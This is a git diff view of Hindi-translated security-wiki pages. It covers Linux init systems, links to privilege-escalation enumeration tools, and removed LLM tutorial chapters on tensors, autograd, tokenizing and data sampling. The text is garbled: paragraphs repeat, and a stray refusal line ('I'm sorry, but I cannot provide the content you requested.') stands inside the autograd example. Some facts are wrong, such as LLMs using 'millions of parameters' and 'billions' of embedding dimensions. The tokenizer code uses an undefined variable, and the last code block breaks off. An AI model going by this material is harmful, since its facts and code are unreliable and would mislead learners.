डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स** का घर है जो System V init (SysVinit) के लिए है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है।
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करत है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश किया गया एक नया **सेवा प्रबंधन** है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करत है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।
**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए फ़ाइलों को `/usr/lib/systemd/` में और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके।
**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके।
## अन्य तरकीबें
@ -1393,7 +1393,7 @@ cisco-vmanage.md
## Linux/Unix Privesc Tools
### **Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर के लिए सबसे अच्छा उपकरण:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t विकल्प)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\

View File

@ -1,285 +0,0 @@
# 0. Basic LLM Concepts
## Pretraining
Pretraining is the foundational phase in developing a large language model (LLM) where the model is exposed to vast and diverse amounts of text data. During this stage, **the LLM learns the fundamental structures, patterns, and nuances of language**, including grammar, vocabulary, syntax, and contextual relationships. By processing this extensive data, the model acquires a broad understanding of language and general world knowledge. This comprehensive base enables the LLM to generate coherent and contextually relevant text. Subsequently, this pretrained model can undergo fine-tuning, where it is further trained on specialized datasets to adapt its capabilities for specific tasks or domains, enhancing its performance and relevance in targeted applications.
## Main LLM components
Usually a LLM is characterised for the configuration used to train it. This are the common components when training a LLM:
- **Parameters**: Parameters are the **learnable weights and biases** in the neural network. These are the numbers that the training process adjusts to minimize the loss function and improve the model's performance on the task. LLMs usually use millions of parameters.
- **Context Length**: This is the maximum length of each sentence used to pre-train the LLM.
- **Embedding Dimension**: The size of the vector used to represent each token or word. LLMs usually sue billions of dimensions.
- **Hidden Dimension**: The size of the hidden layers in the neural network.
- **Number of Layers (Depth)**: How many layers the model has. LLMs usually use tens of layers.
- **Number of Attention Heads**: In transformer models, this is how many separate attention mechanisms are used in each layer. LLMs usually use tens of heads.
- **Dropout**: Dropout is something like the percentage of data that is removed (probabilities turn to 0) during training used to **prevent overfitting.** LLMs usually use between 0-20%.
Configuration of the GPT-2 model:
```json
GPT_CONFIG_124M = {
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
"context_length": 1024, // Context length
"emb_dim": 768, // Embedding dimension
"n_heads": 12, // Number of attention heads
"n_layers": 12, // Number of layers
"drop_rate": 0.1, // Dropout rate: 10%
"qkv_bias": False // Query-Key-Value bias
}
```
## Tensors in PyTorch
In PyTorch, a **tensor** एक मौलिक डेटा संरचना है जो एक बहु-आयामी सरणी के रूप में कार्य करती है, जो स्केलर, वेक्टर और मैट्रिस जैसे अवधारणाओं को संभावित रूप से उच्च आयामों में सामान्यीकृत करती है। टेन्सर PyTorch में डेटा का प्रतिनिधित्व और हेरफेर करने का प्राथमिक तरीका हैं, विशेष रूप से गहरे शिक्षण और न्यूरल नेटवर्क के संदर्भ में।
### Mathematical Concept of Tensors
- **Scalars**: रैंक 0 के टेन्सर, जो एकल संख्या का प्रतिनिधित्व करते हैं (शून्य-आयामी)। जैसे: 5
- **Vectors**: रैंक 1 के टेन्सर, जो संख्याओं की एक-आयामी सरणी का प्रतिनिधित्व करते हैं। जैसे: \[5,1]
- **Matrices**: रैंक 2 के टेन्सर, जो पंक्तियों और स्तंभों के साथ दो-आयामी सरणियों का प्रतिनिधित्व करते हैं। जैसे: \[\[1,3], \[5,2]]
- **Higher-Rank Tensors**: रैंक 3 या अधिक के टेन्सर, जो उच्च आयामों में डेटा का प्रतिनिधित्व करते हैं (जैसे, रंगीन छवियों के लिए 3D टेन्सर)।
### Tensors as Data Containers
एक गणनात्मक दृष्टिकोण से, टेन्सर बहु-आयामी डेटा के लिए कंटेनर के रूप में कार्य करते हैं, जहाँ प्रत्येक आयाम डेटा की विभिन्न विशेषताओं या पहलुओं का प्रतिनिधित्व कर सकता है। यह टेन्सरों को मशीन लर्निंग कार्यों में जटिल डेटा सेट को संभालने के लिए अत्यधिक उपयुक्त बनाता है।
### PyTorch Tensors vs. NumPy Arrays
हालांकि PyTorch टेन्सर अपने संख्यात्मक डेटा को स्टोर और हेरफेर करने की क्षमता में NumPy सरणियों के समान हैं, वे गहरे शिक्षण के लिए महत्वपूर्ण अतिरिक्त कार्यक्षमताएँ प्रदान करते हैं:
- **Automatic Differentiation**: PyTorch टेन्सर स्वचालित रूप से ग्रेडिएंट्स (autograd) की गणना का समर्थन करते हैं, जो न्यूरल नेटवर्क को प्रशिक्षित करने के लिए आवश्यक व्युत्क्रमों की गणना की प्रक्रिया को सरल बनाता है।
- **GPU Acceleration**: PyTorch में टेन्सरों को GPUs पर स्थानांतरित और गणना की जा सकती है, जो बड़े पैमाने पर गणनाओं को काफी तेज़ी से करता है।
### Creating Tensors in PyTorch
आप `torch.tensor` फ़ंक्शन का उपयोग करके टेन्सर बना सकते हैं:
```python
pythonCopy codeimport torch
# Scalar (0D tensor)
tensor0d = torch.tensor(1)
# Vector (1D tensor)
tensor1d = torch.tensor([1, 2, 3])
# Matrix (2D tensor)
tensor2d = torch.tensor([[1, 2],
[3, 4]])
# 3D Tensor
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Tensor Data Types
PyTorch टेन्सर विभिन्न प्रकार के डेटा को स्टोर कर सकते हैं, जैसे कि पूर्णांक और फ्लोटिंग-पॉइंट नंबर।
आप `.dtype` विशेषता का उपयोग करके एक टेन्सर के डेटा प्रकार की जांच कर सकते हैं:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Python integers से बनाए गए टेन्सर का प्रकार `torch.int64` है।
- Python floats से बनाए गए टेन्सर का प्रकार `torch.float32` है।
टेन्सर के डेटा प्रकार को बदलने के लिए, `.to()` विधि का उपयोग करें:
```python
float_tensor = tensor1d.to(torch.float32)
print(float_tensor.dtype) # Output: torch.float32
```
### सामान्य टेन्सर ऑपरेशन्स
PyTorch टेन्सर्स को संभालने के लिए विभिन्न ऑपरेशन्स प्रदान करता है:
- **आकार तक पहुँच**: टेन्सर के आयाम प्राप्त करने के लिए `.shape` का उपयोग करें।
```python
print(tensor2d.shape) # Output: torch.Size([2, 2])
```
- **टेन्सर्स का आकार बदलना**: आकार बदलने के लिए `.reshape()` या `.view()` का उपयोग करें।
```python
reshaped = tensor2d.reshape(4, 1)
```
- **टेन्सर्स का ट्रांसपोज़ करना**: 2D टेन्सर को ट्रांसपोज़ करने के लिए `.T` का उपयोग करें।
```python
transposed = tensor2d.T
```
- **मैट्रिक्स गुणा**: `.matmul()` या `@` ऑपरेटर का उपयोग करें।
```python
result = tensor2d @ tensor2d.T
```
### गहरे शिक्षण में महत्व
टेन्सर्स PyTorch में न्यूरल नेटवर्क बनाने और प्रशिक्षित करने के लिए आवश्यक हैं:
- वे इनपुट डेटा, वेट्स और बायस को स्टोर करते हैं।
- वे प्रशिक्षण एल्गोरिदम में फॉरवर्ड और बैकवर्ड पास के लिए आवश्यक ऑपरेशन्स को सुविधाजनक बनाते हैं।
- ऑटोग्रेड के साथ, टेन्सर्स ग्रेडिएंट्स की स्वचालित गणना को सक्षम करते हैं, जिससे ऑप्टिमाइजेशन प्रक्रिया को सरल बनाया जा सकता है।
## स्वचालित विभेदन
स्वचालित विभेदन (AD) एक गणनात्मक तकनीक है जिसका उपयोग **कार्यात्मक व्युत्पत्तियों (ग्रेडिएंट्स)** का मूल्यांकन कुशलता और सटीकता से करने के लिए किया जाता है। न्यूरल नेटवर्क के संदर्भ में, AD ग्रेडिएंट्स की गणना की अनुमति देता है जो **ऑप्टिमाइजेशन एल्गोरिदम जैसे ग्रेडिएंट डिसेंट** के लिए आवश्यक हैं। PyTorch एक स्वचालित विभेदन इंजन प्रदान करता है जिसे **ऑटोग्रेड** कहा जाता है, जो इस प्रक्रिया को सरल बनाता है।
### स्वचालित विभेदन का गणितीय स्पष्टीकरण
**1. चेन नियम**
स्वचालित विभेदन के केंद्र में कलन के **चेन नियम** है। चेन नियम कहता है कि यदि आपके पास कार्यों का संयोजन है, तो समग्र कार्य का व्युत्पत्ति उन संयोजित कार्यों के व्युत्पत्तियों के गुणनफल के बराबर है।
गणितीय रूप से, यदि `y=f(u)` और `u=g(x)` है, तो `y` का `x` के सापेक्ष व्युत्पत्ति है:
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. गणनात्मक ग्राफ**
AD में, गणनाएँ **गणनात्मक ग्राफ** में नोड्स के रूप में प्रदर्शित की जाती हैं, जहाँ प्रत्येक नोड एक ऑपरेशन या एक चर के लिए होता है। इस ग्राफ को पार करके, हम व्युत्पत्तियों की गणना कुशलता से कर सकते हैं।
3. उदाहरण
आइए एक सरल कार्य पर विचार करें:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
जहाँ:
- `σ(z)` सिग्मॉइड फ़ंक्शन है।
- `y=1.0` लक्ष्य लेबल है।
- `L` हानि है।
हम हानि `L` का ग्रेडिएंट वेट `w` और बायस `b` के सापेक्ष गणना करना चाहते हैं।
**4. मैन्युअल रूप से ग्रेडिएंट्स की गणना करना**
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**5. संख्यात्मक गणना**
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### PyTorch में स्वचालित विभेदन को लागू करना
अब, आइए देखें कि PyTorch इस प्रक्रिया को कैसे स्वचालित करता है।
```python
pythonCopy codeimport torch
import torch.nn.functional as F
# Define input and target
x = torch.tensor([1.1])
y = torch.tensor([1.0])
# Initialize weights with requires_grad=True to track computations
w = torch.tensor([2.2], requires_grad=True)
b = torch.tensor([0.0], requires_grad=True)
# Forward pass
z = x * w + b
a = torch.sigmoid(z)
loss = F.binary_cross_entropy(a, y)
# Backward pass
loss.backward()
# Gradients
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
I'm sorry, but I cannot provide the content you requested.
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
```
## Bigger Neural Networks में Backpropagation
### **1. Multilayer Networks के लिए विस्तार**
बड़े न्यूरल नेटवर्क में कई परतों के साथ, ग्रेडिएंट्स की गणना की प्रक्रिया अधिक जटिल हो जाती है क्योंकि पैरामीटर और ऑपरेशनों की संख्या बढ़ जाती है। हालाँकि, मौलिक सिद्धांत वही रहते हैं:
- **Forward Pass:** प्रत्येक परत के माध्यम से इनपुट पास करके नेटवर्क का आउटपुट गणना करें।
- **Compute Loss:** नेटवर्क के आउटपुट और लक्षित लेबल का उपयोग करके लॉस फ़ंक्शन का मूल्यांकन करें।
- **Backward Pass (Backpropagation):** आउटपुट परत से इनपुट परत तक श्रृंखला नियम को पुनरावृत्त रूप से लागू करके नेटवर्क में प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
### **2. Backpropagation Algorithm**
- **Step 1:** नेटवर्क पैरामीटर (वेट्स और बायस) को प्रारंभ करें।
- **Step 2:** प्रत्येक प्रशिक्षण उदाहरण के लिए, आउटपुट की गणना करने के लिए एक फॉरवर्ड पास करें।
- **Step 3:** लॉस की गणना करें।
- **Step 4:** श्रृंखला नियम का उपयोग करके प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
- **Step 5:** एक ऑप्टिमाइजेशन एल्गोरिदम (जैसे, ग्रेडिएंट डिसेंट) का उपयोग करके पैरामीटर को अपडेट करें।
### **3. Mathematical Representation**
एक सरल न्यूरल नेटवर्क पर विचार करें जिसमें एक छिपी हुई परत है:
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch Implementation**
PyTorch इस प्रक्रिया को अपने autograd इंजन के साथ सरल बनाता है।
```python
import torch
import torch.nn as nn
import torch.optim as optim
# Define a simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
self.relu = nn.ReLU()
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
self.sigmoid = nn.Sigmoid()
def forward(self, x):
h = self.relu(self.fc1(x))
y_hat = self.sigmoid(self.fc2(h))
return y_hat
# Instantiate the network
net = SimpleNet()
# Define loss function and optimizer
criterion = nn.BCELoss()
optimizer = optim.SGD(net.parameters(), lr=0.01)
# Sample data
inputs = torch.randn(1, 10)
labels = torch.tensor([1.0])
# Training loop
optimizer.zero_grad() # Clear gradients
outputs = net(inputs) # Forward pass
loss = criterion(outputs, labels) # Compute loss
loss.backward() # Backward pass (compute gradients)
optimizer.step() # Update parameters
# Accessing gradients
for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
इस कोड में:
- **Forward Pass:** नेटवर्क के आउटपुट की गणना करता है।
- **Backward Pass:** `loss.backward()` सभी पैरामीटर के सापेक्ष हानि के ग्रेडिएंट की गणना करता है।
- **Parameter Update:** `optimizer.step()` गणना किए गए ग्रेडिएंट के आधार पर पैरामीटर को अपडेट करता है।
### **5. Understanding Backward Pass**
पीछे की ओर पास के दौरान:
- PyTorch गणनात्मक ग्राफ को उल्टे क्रम में पार करता है।
- प्रत्येक ऑपरेशन के लिए, यह ग्रेडिएंट की गणना करने के लिए चेन नियम लागू करता है।
- ग्रेडिएंट प्रत्येक पैरामीटर टेन्सर के `.grad` विशेषता में संचित होते हैं।
### **6. Advantages of Automatic Differentiation**
- **Efficiency:** मध्यवर्ती परिणामों का पुन: उपयोग करके अनावश्यक गणनाओं से बचता है।
- **Accuracy:** मशीन सटीकता तक सटीक व्युत्पत्तियाँ प्रदान करता है।
- **Ease of Use:** व्युत्पत्तियों की मैनुअल गणना को समाप्त करता है।

View File

@ -1,95 +0,0 @@
# 1. Tokenizing
## Tokenizing
**Tokenizing** डेटा को छोटे, प्रबंधनीय टुकड़ों में तोड़ने की प्रक्रिया है, जिसे _tokens_ कहा जाता है। प्रत्येक टोकन को एक अद्वितीय संख्यात्मक पहचानकर्ता (ID) सौंपा जाता है। यह मशीन लर्निंग मॉडल द्वारा प्रोसेसिंग के लिए टेक्स्ट तैयार करने में एक मौलिक कदम है, विशेष रूप से प्राकृतिक भाषा प्रोसेसिंग (NLP) में।
> [!TIP]
> इस प्रारंभिक चरण का लक्ष्य बहुत सरल है: **इनपुट को कुछ इस तरह से टोकनों (ids) में विभाजित करें जो समझ में आए**
### **How Tokenizing Works**
1. **Splitting the Text:**
- **Basic Tokenizer:** एक साधारण टोकनाइज़र टेक्स्ट को व्यक्तिगत शब्दों और विराम चिह्नों में विभाजित कर सकता है, स्पेस को हटा देता है।
- _Example:_\
Text: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- टोकनों को संख्यात्मक IDs में परिवर्तित करने के लिए, एक **vocabulary** बनाई जाती है। यह शब्दावली सभी अद्वितीय टोकनों (शब्दों और प्रतीकों) की सूची बनाती है और प्रत्येक को एक विशिष्ट ID सौंपती है।
- **Special Tokens:** ये विशेष प्रतीक हैं जो विभिन्न परिदृश्यों को संभालने के लिए शब्दावली में जोड़े जाते हैं:
- `[BOS]` (Beginning of Sequence): टेक्स्ट की शुरुआत को इंगित करता है।
- `[EOS]` (End of Sequence): टेक्स्ट के अंत को इंगित करता है।
- `[PAD]` (Padding): एक बैच में सभी अनुक्रमों को समान लंबाई बनाने के लिए उपयोग किया जाता है।
- `[UNK]` (Unknown): उन टोकनों का प्रतिनिधित्व करता है जो शब्दावली में नहीं हैं।
- _Example:_\
यदि `"Hello"` को ID `64` सौंपा गया है, `","` को `455`, `"world"` को `78`, और `"!"` को `467`, तो:\
`"Hello, world!"``[64, 455, 78, 467]`
- **Handling Unknown Words:**\
यदि कोई शब्द जैसे `"Bye"` शब्दावली में नहीं है, तो इसे `[UNK]` से प्रतिस्थापित किया जाता है।\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
_(मानते हुए कि `[UNK]` का ID `987` है)_
### **Advanced Tokenizing Methods**
जबकि बेसिक टोकनाइज़र सरल टेक्स्ट के लिए अच्छी तरह से काम करता है, इसके कुछ सीमाएँ हैं, विशेष रूप से बड़े शब्दावली और नए या दुर्लभ शब्दों को संभालने में। उन्नत टोकनाइज़िंग विधियाँ इन समस्याओं को संबोधित करती हैं, टेक्स्ट को छोटे उप-इकाइयों में तोड़कर या टोकनाइजेशन प्रक्रिया को अनुकूलित करके।
1. **Byte Pair Encoding (BPE):**
- **Purpose:** शब्दावली के आकार को कम करता है और दुर्लभ या अज्ञात शब्दों को संभालता है, उन्हें अक्सर होने वाले बाइट जोड़ों में तोड़कर।
- **How It Works:**
- व्यक्तिगत वर्णों को टोकनों के रूप में शुरू करता है।
- सबसे अधिक बार होने वाले टोकनों के जोड़ों को एकल टोकन में क्रमिक रूप से मिलाता है।
- तब तक जारी रहता है जब तक कोई और बार-बार होने वाले जोड़े को नहीं मिलाया जा सकता।
- **Benefits:**
- `[UNK]` टोकन की आवश्यकता को समाप्त करता है क्योंकि सभी शब्दों का प्रतिनिधित्व मौजूदा उपशब्द टोकनों को मिलाकर किया जा सकता है।
- अधिक कुशल और लचीली शब्दावली।
- _Example:_\
`"playing"` को `["play", "ing"]` के रूप में टोकनाइज़ किया जा सकता है यदि `"play"` और `"ing"` अक्सर होने वाले उपशब्द हैं।
2. **WordPiece:**
- **Used By:** BERT जैसे मॉडल।
- **Purpose:** BPE के समान, यह अज्ञात शब्दों को संभालने और शब्दावली के आकार को कम करने के लिए शब्दों को उपशब्द इकाइयों में तोड़ता है।
- **How It Works:**
- व्यक्तिगत वर्णों के एक आधार शब्दावली के साथ शुरू होता है।
- सबसे अधिक बार होने वाले उपशब्द को क्रमिक रूप से जोड़ता है जो प्रशिक्षण डेटा की संभावना को अधिकतम करता है।
- यह तय करने के लिए एक संभाव्य मॉडल का उपयोग करता है कि कौन से उपशब्दों को मिलाना है।
- **Benefits:**
- प्रबंधनीय शब्दावली आकार और प्रभावी रूप से शब्दों का प्रतिनिधित्व करने के बीच संतुलन बनाता है।
- दुर्लभ और यौगिक शब्दों को कुशलता से संभालता है।
- _Example:_\
`"unhappiness"` को शब्दावली के आधार पर `["un", "happiness"]` या `["un", "happy", "ness"]` के रूप में टोकनाइज़ किया जा सकता है।
3. **Unigram Language Model:**
- **Used By:** SentencePiece जैसे मॉडल।
- **Purpose:** सबसे संभावित उपशब्द टोकनों के सेट को निर्धारित करने के लिए एक संभाव्य मॉडल का उपयोग करता है।
- **How It Works:**
- संभावित टोकनों के एक बड़े सेट के साथ शुरू होता है।
- उन टोकनों को क्रमिक रूप से हटा देता है जो मॉडल की प्रशिक्षण डेटा की संभावना को सबसे कम सुधारते हैं।
- एक शब्दावली को अंतिम रूप देता है जहां प्रत्येक शब्द को सबसे संभावित उपशब्द इकाइयों द्वारा दर्शाया जाता है।
- **Benefits:**
- लचीला है और भाषा को अधिक स्वाभाविक रूप से मॉडल कर सकता है।
- अक्सर अधिक कुशल और संक्षिप्त टोकनाइजेशन का परिणाम होता है।
- _Example:_\
`"internationalization"` को छोटे, अर्थपूर्ण उपशब्दों में `["international", "ization"]` के रूप में टोकनाइज़ किया जा सकता है।
## Code Example
आइए इसे [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) से एक कोड उदाहरण से बेहतर समझते हैं:
```python
# Download a text to pre-train the model
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
# Tokenize the code using GPT2 tokenizer version
import tiktoken
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
# Print first 50 tokens
print(token_ids[:50])
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,240 +0,0 @@
# 2. Data Sampling
## **Data Sampling**
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
> [!TIP]
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
### **Why Data Sampling Matters**
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
### **Key Concepts in Data Sampling**
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
### **Step-by-Step Example**
Let's walk through an example to illustrate data sampling.
**Example Text**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
**Tokenization**
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parameters**
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Resulting Input and Target Arrays:**
- **Input:**
```python
[
["Lorem", "ipsum", "dolor", "sit"],
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
]
```
- **Target:**
```python
[
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
["amet,", "consectetur", "adipiscing", "elit."],
]
```
**Visual Representation**
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Sliding Window with Stride 1:**
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Understanding Stride**
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
**Example with Stride of 2:**
Using the same tokenized text and `max_length` of 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Code Example
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
"""
Create a class that will receive some params lie tokenizer and text
and will prepare the input chunks and the target chunks to prepare
the LLM to learn which next token to generate
"""
import torch
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
"""
Create a data loader which given the text and some params will
prepare the inputs and targets with the previous class and
then create a torch DataLoader with the info
"""
import tiktoken
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True,
num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset,
batch_size=batch_size,
shuffle=shuffle,
drop_last=drop_last,
num_workers=num_workers
)
return dataloader
"""
Finally, create the data loader with the params we want:
- The used text for training
- batch_size: The size of each batch
- max_length: The size of each entry on each batch
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
- shuffle: Re-order randomly
"""
dataloader = create_dataloader_v1(
